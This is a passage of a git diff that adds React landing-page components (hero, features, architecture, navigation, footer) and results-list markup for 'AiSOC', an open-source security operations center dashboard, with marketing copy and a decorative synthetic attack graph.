text-gray-400">{r.hostname}</span>- {r.user && <span className="text-xs text-gray-500">@{r.user}</span>}- <span className="text-xs text-gray-600 ml-auto">- {format(new Date(r.timestamp), 'MMM dd HH:mm:ss')}- </span>- <span className="text-xs bg-gray-800 text-gray-500 px-1.5 py-0.5 rounded">{r.source}</span>- </div>- <div className="bg-gray-950/60 rounded-lg p-2 space-y-1">- {Object.entries(r.data).map(([k, v]) => (- <div key={k} className="flex gap-2 text-xs font-mono">- <span className="text-blue-400 shrink-0">{k}:</span>- <span className="text-gray-400 truncate">{v}</span>- </div>- ))}- </div>- </div>- ))}- </div>+ )}+ </h3>+ {results && results.hits.length > 0 && (+ <button+ onClick={() =>+ copyToClipboard(JSON.stringify(results.hits, null, 2))+ }+ className="text-xs text-slate-400 transition-colors hover:text-slate-200"+ >+ Copy all as JSON+ </button>)}</div>- )}- </div>++ {running ? (+ <div className="space-y-2 p-4">+ <Skeleton className="h-12 w-full rounded-lg" />+ <Skeleton className="h-12 w-full rounded-lg" />+ <Skeleton className="h-12 w-full rounded-lg" />+ </div>+ ) : !results ? (+ <EmptyState+ title="Press Run to begin"+ description="Tip: try one of your saved searches, or pivot from an alert."+ />+ ) : results.hits.length === 0 ? (+ <div className="flex flex-col items-center justify-center px-6 py-10">+ <span className="mb-2 text-2xl text-emerald-400">✓</span>+ <p className="text-sm font-medium text-emerald-300">+ No matches in the selected window+ </p>+ <p className="mt-1 text-xs text-slate-500">+ {runError ? 'Backend unreachable.' : 'Either you’re clean, or your query is too tight.'}+ </p>+ </div>+ ) : (+ <ul className="divide-y divide-slate-800/60">+ {results.hits.map((r) => (+ <ResultRow key={r.id} result={r} />+ ))}+ </ul>+ )}+ </div>+ </section></div></div>);diff --git a/apps/web/src/components/landing/Architecture.tsx b/apps/web/src/components/landing/Architecture.tsxnew file mode 100644index 000000000..7c0a72330--- /dev/null+++ b/apps/web/src/components/landing/Architecture.tsx@@ -0,0 +1,127 @@+'use client';++import { motion } from 'framer-motion';++const LAYERS = [+ {+ label: 'Sources',+ items: ['Cloud trails', 'EDR', 'Identity', 'Network', 'SaaS APIs', 'Custom'],+ tone: 'border-brand-500/30 bg-brand-500/5 text-brand-100',+ },+ {+ label: 'Ingest',+ items: ['Kafka topics', 'Connector framework', 'Schema normalisation'],+ tone: 'border-cyan-500/30 bg-cyan-500/5 text-cyan-100',+ },+ {+ label: 'Detect & enrich',+ items: ['Sigma / KQL / EQL', 'ML correlator', 'Threat intel', 'Identity graph'],+ tone: 'border-amber-500/30 bg-amber-500/5 text-amber-100',+ },+ {+ label: 'Reason',+ items: ['Agentic copilot', 'Attack graph', 'MITRE mapper', 'Case builder'],+ tone: 'border-fuchsia-500/30 bg-fuchsia-500/5 text-fuchsia-100',+ },+ {+ label: 'Respond',+ items: ['Playbooks', 'Connector actions', 'Webhooks', 'Audit trail'],+ tone: 'border-emerald-500/30 bg-emerald-500/5 text-emerald-100',+ },+];++const STORES = [+ { name: 'PostgreSQL', use: 'metadata' },+ { name: 'ClickHouse', use: 'events' },+ { name: 'OpenSearch', use: 'search' },+ { name: 'Neo4j', use: 'graph' },+ { name: 'Qdrant', use: 'embeddings' },+ { name: 'Redis', use: 'cache' },+];++export function Architecture() {+ return (+ <section id="architecture" className="relative py-24 md:py-32">+ <div className="absolute inset-x-0 top-0 -z-10 h-px bg-gradient-to-r from-transparent via-white/10 to-transparent" />+ <div className="mx-auto max-w-7xl px-6">+ <motion.div+ initial={{ opacity: 0, y: 16 }}+ whileInView={{ opacity: 1, y: 0 }}+ viewport={{ once: true, margin: '-100px' }}+ transition={{ duration: 0.5 }}+ className="mx-auto max-w-2xl text-center"+ >+ <span className="text-xs font-semibold uppercase tracking-wider text-brand-300">+ How it works+ </span>+ <h2 className="mt-3 text-4xl font-bold tracking-tight text-white md:text-5xl">+ One pipeline, end to end+ </h2>+ <p className="mt-4 text-lg text-gray-400">+ Every box is a service you can swap, scale, or replace. No black boxes, no licenses,+ no per-seat traps.+ </p>+ </motion.div>++ {/* Pipeline */}+ <div className="mt-16 grid grid-cols-1 gap-3 lg:grid-cols-5">+ {LAYERS.map((layer, i) => (+ <motion.div+ key={layer.label}+ initial={{ opacity: 0, y: 12 }}+ whileInView={{ opacity: 1, y: 0 }}+ viewport={{ once: true, margin: '-80px' }}+ transition={{ duration: 0.4, delay: i * 0.06 }}+ className={`relative rounded-xl border bg-surface-card/40 p-4 ${layer.tone}`}+ >+ <div className="text-[10px] font-bold uppercase tracking-widest opacity-80">+ Stage {i + 1}+ </div>+ <div className="mt-1 text-base font-semibold text-white">{layer.label}</div>+ <ul className="mt-3 space-y-1 text-xs text-gray-300">+ {layer.items.map((item) => (+ <li key={item} className="flex items-center gap-2">+ <span className="h-1 w-1 rounded-full bg-current opacity-60" />+ {item}+ </li>+ ))}+ </ul>+ {i < LAYERS.length - 1 && (+ <div className="absolute -right-3 top-1/2 hidden h-px w-6 -translate-y-1/2 bg-gradient-to-r from-white/30 to-transparent lg:block" />+ )}+ </motion.div>+ ))}+ </div>++ {/* Storage tier */}+ <div className="mt-10 rounded-2xl border border-white/5 bg-surface-card/40 p-6">+ <div className="flex items-center justify-between">+ <div>+ <div className="text-xs font-semibold uppercase tracking-wider text-gray-400">+ Storage tier+ </div>+ <div className="mt-1 text-sm text-gray-300">+ Polyglot persistence — pick the right store for each workload.+ </div>+ </div>+ <span className="hidden text-xs text-gray-500 md:block">+ All open source, all containerised+ </span>+ </div>+ <div className="mt-5 flex flex-wrap gap-2">+ {STORES.map((s) => (+ <span+ key={s.name}+ className="inline-flex items-center gap-2 rounded-full border border-white/10 bg-white/[0.04] px-3 py-1.5 text-xs"+ >+ <span className="font-mono font-semibold text-white">{s.name}</span>+ <span className="text-gray-500">·</span>+ <span className="text-gray-400">{s.use}</span>+ </span>+ ))}+ </div>+ </div>+ </div>+ </section>+ );+}diff --git a/apps/web/src/components/landing/Features.tsx b/apps/web/src/components/landing/Features.tsxnew file mode 100644index 000000000..cba2829ad--- /dev/null+++ b/apps/web/src/components/landing/Features.tsx@@ -0,0 +1,121 @@+'use client';++import { motion } from 'framer-motion';++const FEATURES = [+ {+ title: 'Real-time correlation',+ description:+ 'Stream events from any source through Kafka, fuse them with ML and rule-based detectors, and surface alerts in under 200ms.',+ icon: (+ <path d="M4 4h16v4H4zM4 10h10v4H4zM4 16h16v4H4z" />+ ),+ accent: 'from-brand-500/20 to-brand-500/0',+ },+ {+ title: 'Autonomous triage',+ description:+ 'Agentic copilot enriches alerts with threat intel, identity context, and host telemetry — and explains every decision it makes.',+ icon: (+ <path d="M12 2l3 7h7l-5.5 4.5L18 21l-6-4-6 4 1.5-7.5L2 9h7z" />+ ),+ accent: 'from-amber-500/20 to-amber-500/0',+ },+ {+ title: 'MITRE ATT&CK native',+ description:+ 'Detection rules, alerts, and the heatmap all map back to ATT&CK techniques. See coverage gaps in the same view as live attacks.',+ icon: (+ <path d="M3 3h7v7H3zm11 0h7v4h-7zm0 6h7v12h-7zm-11 4h7v8H3z" />+ ),+ accent: 'from-emerald-500/20 to-emerald-500/0',+ },+ {+ title: 'Attack graph that thinks',+ description:+ 'Cross-source paths between identities, hosts, and assets. Pivot from any node into the hunter or open a case in one click.',+ icon: (+ <path d="M5 5a3 3 0 116 0 3 3 0 01-6 0zm8 14a3 3 0 116 0 3 3 0 01-6 0zM7.5 8l5 8" />+ ),+ accent: 'from-fuchsia-500/20 to-fuchsia-500/0',+ },+ {+ title: 'Detection-as-code',+ description:+ 'Author Sigma, KQL, EQL, or YAML rules in the inline editor. Test against historical data, version with git, deploy in seconds.',+ icon: (+ <path d="M8 9l-5 3 5 3M16 9l5 3-5 3M14 5l-4 14" />+ ),+ accent: 'from-cyan-500/20 to-cyan-500/0',+ },+ {+ title: 'Connectors for everything',+ description:+ 'Cloud trails, EDR, identity, network, SaaS — bring your own source. The connector framework abstracts ingest, schema, and rate limits.',+ icon: (+ <path d="M4 6h16v4H4zM4 14h10v4H4zM18 14h2v4h-2z" />+ ),+ accent: 'from-violet-500/20 to-violet-500/0',+ },+];++export function Features() {+ return (+ <section id="features" className="relative py-24 md:py-32">+ <div className="mx-auto max-w-7xl px-6">+ <motion.div+ initial={{ opacity: 0, y: 16 }}+ whileInView={{ opacity: 1, y: 0 }}+ viewport={{ once: true, margin: '-100px' }}+ transition={{ duration: 0.5 }}+ className="mx-auto max-w-2xl text-center"+ >+ <span className="text-xs font-semibold uppercase tracking-wider text-brand-300">+ Platform+ </span>+ <h2 className="mt-3 text-4xl font-bold tracking-tight text-white md:text-5xl">+ A SOC that ships with batteries included+ </h2>+ <p className="mt-4 text-lg text-gray-400">+ Every layer — ingest, detection, analysis, response — is built to be inspected,+ extended, and run in your own environment.+ </p>+ </motion.div>++ <div className="mt-16 grid grid-cols-1 gap-4 md:grid-cols-2 lg:grid-cols-3">+ {FEATURES.map((feature, i) => (+ <motion.div+ key={feature.title}+ initial={{ opacity: 0, y: 16 }}+ whileInView={{ opacity: 1, y: 0 }}+ viewport={{ once: true, margin: '-80px' }}+ transition={{ duration: 0.4, delay: i * 0.04 }}+ className="group relative overflow-hidden rounded-2xl border border-white/5 bg-surface-card/50 p-6 transition hover:border-white/15 hover:bg-surface-card"+ >+ <div+ className={`pointer-events-none absolute -right-12 -top-12 h-32 w-32 rounded-full bg-gradient-to-br ${feature.accent} opacity-0 blur-2xl transition-opacity group-hover:opacity-100`}+ />+ <div className="relative">+ <div className="inline-flex h-11 w-11 items-center justify-center rounded-lg border border-white/10 bg-white/[0.04] text-brand-300">+ <svg+ viewBox="0 0 24 24"+ fill="none"+ stroke="currentColor"+ strokeWidth="1.6"+ strokeLinecap="round"+ strokeLinejoin="round"+ className="h-5 w-5"+ >+ {feature.icon}+ </svg>+ </div>+ <h3 className="mt-5 text-lg font-semibold text-white">{feature.title}</h3>+ <p className="mt-2 text-sm leading-relaxed text-gray-400">{feature.description}</p>+ </div>+ </motion.div>+ ))}+ </div>+ </div>+ </section>+ );+}diff --git a/apps/web/src/components/landing/Footer.tsx b/apps/web/src/components/landing/Footer.tsxnew file mode 100644index 000000000..40155bfd2--- /dev/null+++ b/apps/web/src/components/landing/Footer.tsx@@ -0,0 +1,135 @@+import Link from 'next/link';+import { Logo } from './Logo';++const COLUMNS = [+ {+ label: 'Platform',+ links: [+ { label: 'Features', href: '#features' },+ { label: 'How it works', href: '#architecture' },+ { label: 'MITRE coverage', href: '#mitre' },+ { label: 'Console', href: '/dashboard' },+ ],+ },+ {+ label: 'Open source',+ links: [+ { label: 'GitHub', href: 'https://github.com/beenuar/AiSOC' },+ { label: 'Quickstart', href: 'https://github.com/beenuar/AiSOC#quickstart' },+ { label: 'Roadmap', href: 'https://github.com/beenuar/AiSOC/blob/main/ROADMAP.md' },+ { label: 'Changelog', href: 'https://github.com/beenuar/AiSOC/blob/main/CHANGELOG.md' },+ ],+ },+ {+ label: 'Community',+ links: [+ { label: 'Issues', href: 'https://github.com/beenuar/AiSOC/issues' },+ { label: 'Discussions', href: 'https://github.com/beenuar/AiSOC/discussions' },+ { label: 'Contributing', href: 'https://github.com/beenuar/AiSOC/blob/main/CONTRIBUTING.md' },+ { label: 'Code of conduct', href: 'https://github.com/beenuar/AiSOC/blob/main/CODE_OF_CONDUCT.md' },+ ],+ },+ {+ label: 'Cyble',+ links: [+ { label: 'About Cyble', href: 'https://cyble.com' },+ { label: 'Security policy', href: 'https://github.com/beenuar/AiSOC/blob/main/SECURITY.md' },+ { label: 'License (MIT)', href: 'https://github.com/beenuar/AiSOC/blob/main/LICENSE' },+ ],+ },+];++export function Footer() {+ return (+ <footer className="relative border-t border-white/5 bg-surface-base">+ <div className="mx-auto max-w-7xl px-6 py-16">+ <div className="grid grid-cols-2 gap-10 md:grid-cols-6">+ <div className="col-span-2">+ <Logo size={36} withWordmark />+ <p className="mt-4 max-w-sm text-sm leading-relaxed text-gray-400">+ The open-source AI Security Operations Center. Maintained by Cyble. MIT licensed,+ forever.+ </p>+ <div className="mt-5 flex gap-3">+ <a+ href="https://github.com/beenuar/AiSOC"+ target="_blank"+ rel="noreferrer"+ aria-label="GitHub"+ className="inline-flex h-9 w-9 items-center justify-center rounded-md border border-white/10 bg-white/[0.03] text-gray-300 transition hover:border-white/20 hover:text-white"+ >+ <svg viewBox="0 0 24 24" className="h-4 w-4" fill="currentColor" aria-hidden="true">+ <path d="M12 .5C5.65.5.5 5.65.5 12c0 5.08 3.29 9.39 7.86 10.91.58.11.79-.25.79-.56 0-.28-.01-1.02-.02-2-3.2.69-3.88-1.54-3.88-1.54-.52-1.32-1.27-1.67-1.27-1.67-1.04-.71.08-.69.08-.69 1.15.08 1.76 1.18 1.76 1.18 1.02 1.75 2.68 1.24 3.34.95.1-.74.4-1.24.73-1.53-2.55-.29-5.24-1.28-5.24-5.69 0-1.26.45-2.29 1.18-3.1-.12-.29-.51-1.46.11-3.05 0 0 .96-.31 3.15 1.18a10.9 10.9 0 015.74 0c2.19-1.49 3.15-1.18 3.15-1.18.62 1.59.23 2.76.11 3.05.74.81 1.18 1.84 1.18 3.1 0 4.42-2.7 5.39-5.27 5.68.41.36.78 1.06.78 2.14 0 1.55-.01 2.79-.01 3.17 0 .31.21.68.8.56C20.21 21.39 23.5 17.08 23.5 12 23.5 5.65 18.35.5 12 .5z" />+ </svg>+ </a>+ <a+ href="https://cyble.com"+ target="_blank"+ rel="noreferrer"+ aria-label="Cyble"+ className="inline-flex h-9 items-center gap-1.5 rounded-md border border-white/10 bg-white/[0.03] px-3 text-xs font-semibold text-gray-300 transition hover:border-white/20 hover:text-white"+ >+ cyble.com+ </a>+ </div>+ </div>++ {COLUMNS.map((col) => (+ <div key={col.label}>+ <h4 className="text-xs font-semibold uppercase tracking-wider text-gray-500">+ {col.label}+ </h4>+ <ul className="mt-4 space-y-2.5">+ {col.links.map((link) => {+ const external = link.href.startsWith('http');+ return (+ <li key={link.label}>+ {external ? (+ <a+ href={link.href}+ target="_blank"+ rel="noreferrer"+ className="text-sm text-gray-400 transition hover:text-white"+ >+ {link.label}+ </a>+ ) : (+ <Link+ href={link.href}+ className="text-sm text-gray-400 transition hover:text-white"+ >+ {link.label}+ </Link>+ )}+ </li>+ );+ })}+ </ul>+ </div>+ ))}+ </div>++ <div className="mt-12 flex flex-col items-start justify-between gap-3 border-t border-white/5 pt-6 text-xs text-gray-500 sm:flex-row sm:items-center">+ <div>+ © {new Date().getFullYear()} Cyble Inc. AiSOC is open-source software released under+ the MIT License.+ </div>+ <div className="flex items-center gap-4">+ <span className="inline-flex items-center gap-1.5">+ <span className="h-1.5 w-1.5 rounded-full bg-emerald-400" />+ All systems operational+ </span>+ <a+ href="https://github.com/beenuar/AiSOC/releases"+ target="_blank"+ rel="noreferrer"+ className="font-mono hover:text-white"+ >+ v0.3.0+ </a>+ </div>+ </div>+ </div>+ </footer>+ );+}diff --git a/apps/web/src/components/landing/Hero.tsx b/apps/web/src/components/landing/Hero.tsxnew file mode 100644index 000000000..72b02f2d3--- /dev/null+++ b/apps/web/src/components/landing/Hero.tsx@@ -0,0 +1,316 @@+'use client';++import Link from 'next/link';+import { motion } from 'framer-motion';++/**+ * Landing hero. The visual goal is "live SOC" without flashing imagery — we use+ * a stack of subtle, breathing surfaces (signal map, alert ticker, copilot+ * thread) so the page advertises the product capability rather than describing+ * it. All animations respect prefers-reduced-motion through framer-motion's+ * defaults.+ */+export function Hero() {+ return (+ <section className="relative isolate overflow-hidden pt-32 pb-24 md:pt-40 md:pb-32">+ {/* Background grid + radial glows */}+ <div aria-hidden className="pointer-events-none absolute inset-0 -z-10">+ <div className="absolute inset-0 bg-grid-hero bg-grid-lg opacity-60" />+ <div className="absolute -top-40 left-1/2 h-[640px] w-[1100px] -translate-x-1/2 rounded-full bg-brand-500/10 blur-3xl" />+ <div className="absolute right-[-10%] top-1/3 h-[420px] w-[420px] rounded-full bg-amber-500/10 blur-3xl" />+ <div className="absolute inset-x-0 bottom-0 h-40 bg-gradient-to-t from-surface-base to-transparent" />+ </div>++ <div className="mx-auto grid max-w-7xl grid-cols-1 items-center gap-16 px-6 lg:grid-cols-[1.1fr_1fr]">+ {/* Copy column */}+ <motion.div+ initial={{ opacity: 0, y: 12 }}+ animate={{ opacity: 1, y: 0 }}+ transition={{ duration: 0.6, ease: 'easeOut' }}+ >+ <span className="inline-flex items-center gap-2 rounded-full border border-brand-400/30 bg-brand-500/10 px-3 py-1 text-xs font-semibold uppercase tracking-wider text-brand-200">+ <span className="relative flex h-2 w-2">+ <span className="absolute inline-flex h-full w-full animate-ping rounded-full bg-emerald-400 opacity-75" />+ <span className="relative inline-flex h-2 w-2 rounded-full bg-emerald-400" />+ </span>+ Open-source · MIT · by Cyble+ </span>++ <h1 className="mt-6 text-balance text-5xl font-bold leading-[1.05] tracking-tight text-white md:text-6xl lg:text-7xl">+ The{' '}+ <span className="bg-gradient-to-r from-brand-300 via-brand-400 to-amber-300 bg-clip-text text-transparent">+ AI Security+ </span>{' '}+ Operations Center.+ </h1>++ <p className="mt-6 max-w-xl text-lg leading-relaxed text-gray-400 md:text-xl">+ Real-time detection, autonomous triage, and MITRE ATT&CK-aware investigation —+ wired together with an AI copilot that explains every decision. Self-hosted,+ extensible, free forever.+ </p>++ <div className="mt-8 flex flex-wrap items-center gap-3">+ <Link+ href="/dashboard"+ className="group inline-flex items-center gap-2 rounded-lg bg-brand-500 px-5 py-3 text-sm font-semibold text-white shadow-glow-brand transition hover:bg-brand-400"+ >+ Launch the console+ <svg viewBox="0 0 20 20" className="h-4 w-4 transition-transform group-hover:translate-x-0.5" fill="currentColor" aria-hidden="true">+ <path d="M7.05 4.05a1 1 0 011.41 0l5 5a1 1 0 010 1.41l-5 5a1 1 0 11-1.41-1.41L11.09 10 7.05 5.46a1 1 0 010-1.41z" />+ </svg>+ </Link>+ <a+ href="https://github.com/beenuar/AiSOC"+ target="_blank"+ rel="noreferrer"+ className="inline-flex items-center gap-2 rounded-lg border border-white/15 bg-white/[0.04] px-5 py-3 text-sm font-semibold text-gray-200 transition hover:border-white/30 hover:bg-white/[0.08]"+ >+ <svg viewBox="0 0 24 24" className="h-4 w-4" aria-hidden="true" fill="currentColor">+ <path d="M12 .5C5.65.5.5 5.65.5 12c0 5.08 3.29 9.39 7.86 10.91.58.11.79-.25.79-.56 0-.28-.01-1.02-.02-2-3.2.69-3.88-1.54-3.88-1.54-.52-1.32-1.27-1.67-1.27-1.67-1.04-.71.08-.69.08-.69 1.15.08 1.76 1.18 1.76 1.18 1.02 1.75 2.68 1.24 3.34.95.1-.74.4-1.24.73-1.53-2.55-.29-5.24-1.28-5.24-5.69 0-1.26.45-2.29 1.18-3.1-.12-.29-.51-1.46.11-3.05 0 0 .96-.31 3.15 1.18a10.9 10.9 0 015.74 0c2.19-1.49 3.15-1.18 3.15-1.18.62 1.59.23 2.76.11 3.05.74.81 1.18 1.84 1.18 3.1 0 4.42-2.7 5.39-5.27 5.68.41.36.78 1.06.78 2.14 0 1.55-.01 2.79-.01 3.17 0 .31.21.68.8.56C20.21 21.39 23.5 17.08 23.5 12 23.5 5.65 18.35.5 12 .5z" />+ </svg>+ Star on GitHub+ </a>+ </div>++ {/* Quick facts row — speaks to credibility before scrolling */}+ <dl className="mt-10 grid grid-cols-3 gap-6 border-t border-white/5 pt-8">+ <Stat label="Latency" value="< 200ms" caption="ingest → alert" />+ <Stat label="Coverage" value="14 ATT&CK" caption="tactics out of the box" />+ <Stat label="License" value="MIT" caption="audit, fork, ship" />+ </dl>+ </motion.div>++ {/* Visual column */}+ <motion.div+ initial={{ opacity: 0, y: 24 }}+ animate={{ opacity: 1, y: 0 }}+ transition={{ duration: 0.7, ease: 'easeOut', delay: 0.1 }}+ className="relative"+ >+ <HeroVisual />+ </motion.div>+ </div>+ </section>+ );+}++function Stat({ label, value, caption }: { label: string; value: string; caption: string }) {+ return (+ <div>+ <dt className="text-xs font-semibold uppercase tracking-wider text-gray-500">{label}</dt>+ <dd className="mt-2 text-2xl font-bold text-white">{value}</dd>+ <p className="mt-1 text-xs text-gray-500">{caption}</p>+ </div>+ );+}++/**+ * Layered visual: a "signal map" card on top, with a copilot thread peeking+ * from the bottom-right. Pure SVG/Tailwind — zero runtime cost — but reads as+ * "this is a real, live product".+ */+function HeroVisual() {+ return (+ <div className="relative aspect-[5/4]">+ {/* Outer glow */}+ <div className="absolute -inset-6 rounded-3xl bg-gradient-to-br from-brand-500/20 via-transparent to-amber-500/10 blur-2xl" />++ {/* Main "signal map" card */}+ <motion.div+ initial={{ opacity: 0, scale: 0.96 }}+ animate={{ opacity: 1, scale: 1 }}+ transition={{ duration: 0.6, delay: 0.15 }}+ className="absolute inset-0 overflow-hidden rounded-2xl border border-white/10 bg-surface-card/90 shadow-2xl backdrop-blur"+ >+ {/* Window chrome */}+ <div className="flex items-center gap-2 border-b border-white/5 bg-surface-raised/60 px-4 py-3">+ <span className="h-2.5 w-2.5 rounded-full bg-rose-400/80" />+ <span className="h-2.5 w-2.5 rounded-full bg-amber-400/80" />+ <span className="h-2.5 w-2.5 rounded-full bg-emerald-400/80" />+ <span className="ml-3 text-xs font-medium text-gray-500">aisoc · live attack graph</span>+ <span className="ml-auto inline-flex items-center gap-1.5 text-[10px] font-semibold uppercase tracking-wider text-emerald-300">+ <span className="h-1.5 w-1.5 rounded-full bg-emerald-400" />+ Live+ </span>+ </div>++ <SignalMap />+ </motion.div>++ {/* Floating copilot card */}+ <motion.div+ initial={{ opacity: 0, y: 16 }}+ animate={{ opacity: 1, y: 0 }}+ transition={{ duration: 0.6, delay: 0.45 }}+ className="absolute -bottom-6 -right-4 w-72 rounded-xl border border-white/10 bg-surface-card/95 p-4 shadow-2xl backdrop-blur sm:-right-8 sm:w-80"+ >+ <div className="mb-2 flex items-center gap-2 text-xs font-semibold text-gray-400">+ <span className="inline-flex h-6 w-6 items-center justify-center rounded-md bg-gradient-to-br from-brand-500 to-amber-500 text-[11px] font-bold text-white">+ A+ </span>+ AiSOC Copilot+ <span className="ml-auto text-[10px] font-medium uppercase tracking-wider text-emerald-300">+ ⌘K+ </span>+ </div>+ <p className="text-sm leading-relaxed text-gray-200">+ Detected lateral movement on{' '}+ <span className="rounded bg-rose-500/15 px-1 font-mono text-rose-200">SRV-FIN-04</span>{' '}+ → <span className="rounded bg-rose-500/15 px-1 font-mono text-rose-200">DC-01</span>. Linked+ to <span className="font-mono text-amber-300">T1021.002</span>. Recommend isolating host and+ revoking session tokens.+ </p>+ <div className="mt-3 flex gap-2">+ <button className="rounded-md bg-brand-500/90 px-2.5 py-1 text-xs font-semibold text-white">+ Isolate host+ </button>+ <button className="rounded-md border border-white/10 bg-white/[0.04] px-2.5 py-1 text-xs font-semibold text-gray-300">+ Open case+ </button>+ </div>+ </motion.div>+ </div>+ );+}++/**+ * Tiny synthetic attack graph. Coordinates are hand-tuned to read as+ * "internet → endpoint → server → dc". Edges pulse along the kill chain.+ */+function SignalMap() {+ const nodes = [+ { id: 'inet', x: 60, y: 60, label: 'Internet', kind: 'edge' },+ { id: 'wf', x: 180, y: 95, label: 'WF-01', kind: 'host' },+ { id: 'srv', x: 305, y: 145, label: 'SRV-FIN-04', kind: 'host-warn' },+ { id: 'dc', x: 430, y: 100, label: 'DC-01', kind: 'host-crit' },+ { id: 'sccm', x: 305, y: 245, label: 'SCCM', kind: 'host' },+ { id: 'idp', x: 110, y: 220, label: 'Okta', kind: 'idp' },+ ];+ const edges: Array<[string, string, 'normal' | 'warn' | 'crit']> = [+ ['inet', 'wf', 'normal'],+ ['wf', 'srv', 'warn'],+ ['srv', 'dc', 'crit'],+ ['srv', 'sccm', 'normal'],+ ['idp', 'wf', 'normal'],+ ];++ const nodeFill: Record<string, string> = {+ edge: '#1e293b',+ host: '#1e293b',+ 'host-warn': '#7c2d12',+ 'host-crit': '#7f1d1d',+ idp: '#1e3a8a',+ };+ const nodeStroke: Record<string, string> = {+ edge: '#475569',+ host: '#3b82f6',+ 'host-warn': '#f97316',+ 'host-crit': '#ef4444',+ idp: '#60a5fa',+ };+ const edgeStroke: Record<string, string> = {+ normal: 'rgba(96,165,250,0.5)',+ warn: 'rgba(249,115,22,0.7)',+ crit: 'rgba(239,68,68,0.85)',+ };++ return (+ <div className="relative h-[calc(100%-44px)] w-full">+ {/* Grid background */}+ <div className="absolute inset-0 bg-grid-pattern bg-grid opacity-50" />++ {/* MITRE band on the right */}+ <div className="absolute right-3 top-3 flex flex-col gap-1.5 text-[9px] font-mono">+ {[+ { id: 'T1078', label: 'Valid Accts', tone: 'gray' },+ { id: 'T1021', label: 'Remote Svcs', tone: 'crit' },+ { id: 'T1110', label: 'Brute Force', tone: 'warn' },+ { id: 'T1486', label: 'Impact', tone: 'gray' },+ ].map((t) => (+ <div+ key={t.id}+ className={+ 'rounded px-1.5 py-0.5 ' ++ (t.tone === 'crit'+ ? 'bg-rose-500/20 text-rose-200'+ : t.tone === 'warn'+ ? 'bg-amber-500/20 text-amber-200'+ : 'bg-white/5 text-gray-400')+ }+ >+ {t.id} · {t.label}+ </div>+ ))}+ </div>++ <svg viewBox="0 0 500 320" className="absolute inset-0 h-full w-full">+ <defs>+ <filter id="softGlow">+ <feGaussianBlur stdDeviation="3" result="b" />+ <feMerge>+ <feMergeNode in="b" />+ <feMergeNode in="SourceGraphic" />+ </feMerge>+ </filter>+ </defs>++ {/* Edges */}+ {edges.map(([from, to, tone], i) => {+ const a = nodes.find((n) => n.id === from)!;+ const b = nodes.find((n) => n.id === to)!;+ return (+ <g key={i}>+ <line+ x1={a.x}+ y1={a.y}+ x2={b.x}+ y2={b.y}+ stroke={edgeStroke[tone]}+ strokeWidth={tone === 'crit' ? 2 : 1.5}+ strokeDasharray={tone === 'crit' ? '0' : '4 4'}+ />+ {tone === 'crit' && (+ <motion.circle+ r="3"+ fill="#ef4444"+ initial={{ offsetDistance: '0%' }}+ animate={{ offsetDistance: '100%' }}+ transition={{ duration: 2.4, repeat: Infinity, ease: 'easeInOut' }}+ style={{+ offsetPath: `path('M ${a.x} ${a.y} L ${b.x} ${b.y}')`,+ }}+ />+ )}+ </g>+ );+ })}++ {/* Nodes */}+ {nodes.map((n) => (+ <g key={n.id}>+ <circle+ cx={n.x}+ cy={n.y}+ r={n.kind === 'host-crit' ? 18 : 14}+ fill={nodeFill[n.kind]}+ stroke={nodeStroke[n.kind]}+ strokeWidth="2"+ filter={n.kind === 'host-crit' ? 'url(#softGlow)' : undefined}+ />+ <text+ x={n.x}+ y={n.y + (n.kind === 'host-crit' ? 34 : 30)}+ textAnchor="middle"+ fill="#cbd5e1"+ fontSize="10"+ fontFamily="ui-monospace, monospace"+ >+ {n.label}+ </text>+ </g>+ ))}+ </svg>+ </div>+ );+}diff --git a/apps/web/src/components/landing/LandingNav.tsx b/apps/web/src/components/landing/LandingNav.tsxnew file mode 100644index 000000000..44d9a00e6--- /dev/null+++ b/apps/web/src/components/landing/LandingNav.tsx@@ -0,0 +1,131 @@+'use client';++import Link from 'next/link';+import { useEffect, useState } from 'react';+import clsx from 'clsx';+import { Logo } from './Logo';++const NAV_LINKS = [+ { label: 'Platform', href: '#features' },+ { label: 'How it works', href: '#architecture' },+ { label: 'MITRE', href: '#mitre' },+ { label: 'Open source', href: '#open-source' },+];++/**+ * Sticky landing-page navigation. Becomes opaque + bordered on scroll so the+ * hero feels open at the top but content underneath stays readable as you+ * scroll. Mobile collapses links into a sheet to keep the bar uncluttered.+ */+export function LandingNav() {+ const [scrolled, setScrolled] = useState(false);+ const [open, setOpen] = useState(false);++ useEffect(() => {+ const onScroll = () => setScrolled(window.scrollY > 12);+ onScroll();+ window.addEventListener('scroll', onScroll, { passive: true });+ return () => window.removeEventListener('scroll', onScroll);+ }, []);++ return (+ <header+ className={clsx(+ 'fixed inset-x-0 top-0 z-40 transition-all',+ scrolled+ ? 'border-b border-white/5 bg-surface-base/85 backdrop-blur-md'+ : 'border-b border-transparent bg-transparent',+ )}+ >+ <div className="mx-auto flex h-16 max-w-7xl items-center justify-between px-6">+ <Link href="/" aria-label="AiSOC home" className="flex items-center gap-3">+ <Logo size={32} withWordmark />+ </Link>++ <nav className="hidden items-center gap-8 md:flex">+ {NAV_LINKS.map((link) => (+ <a+ key={link.href}+ href={link.href}+ className="text-sm font-medium text-gray-400 transition-colors hover:text-white"+ >+ {link.label}+ </a>+ ))}+ </nav>++ <div className="hidden items-center gap-3 md:flex">+ <a+ href="https://github.com/beenuar/AiSOC"+ target="_blank"+ rel="noreferrer"+ className="inline-flex items-center gap-2 rounded-md border border-white/10 bg-white/[0.03] px-3 py-1.5 text-sm font-medium text-gray-300 transition hover:border-white/20 hover:bg-white/[0.06] hover:text-white"+ >+ <svg viewBox="0 0 24 24" className="h-4 w-4" aria-hidden="true" fill="currentColor">+ <path d="M12 .5C5.65.5.5 5.65.5 12c0 5.08 3.29 9.39 7.86 10.91.58.11.79-.25.79-.56 0-.28-.01-1.02-.02-2-3.2.69-3.88-1.54-3.88-1.54-.52-1.32-1.27-1.67-1.27-1.67-1.04-.71.08-.69.08-.69 1.15.08 1.76 1.18 1.76 1.18 1.02 1.75 2.68 1.24 3.34.95.1-.74.4-1.24.73-1.53-2.55-.29-5.24-1.28-5.24-5.69 0-1.26.45-2.29 1.18-3.1-.12-.29-.51-1.46.11-3.05 0 0 .96-.31 3.15 1.18a10.9 10.9 0 015.74 0c2.19-1.49 3.15-1.18 3.15-1.18.62 1.59.23 2.76.11 3.05.74.81 1.18 1.84 1.18 3.1 0 4.42-2.7 5.39-5.27 5.68.41.36.78 1.06.78 2.14 0 1.55-.01 2.79-.01 3.17 0 .31.21.68.8.56C20.21 21.39 23.5 17.08 23.5 12 23.5 5.65 18.35.5 12 .5z" />+ </svg>+ 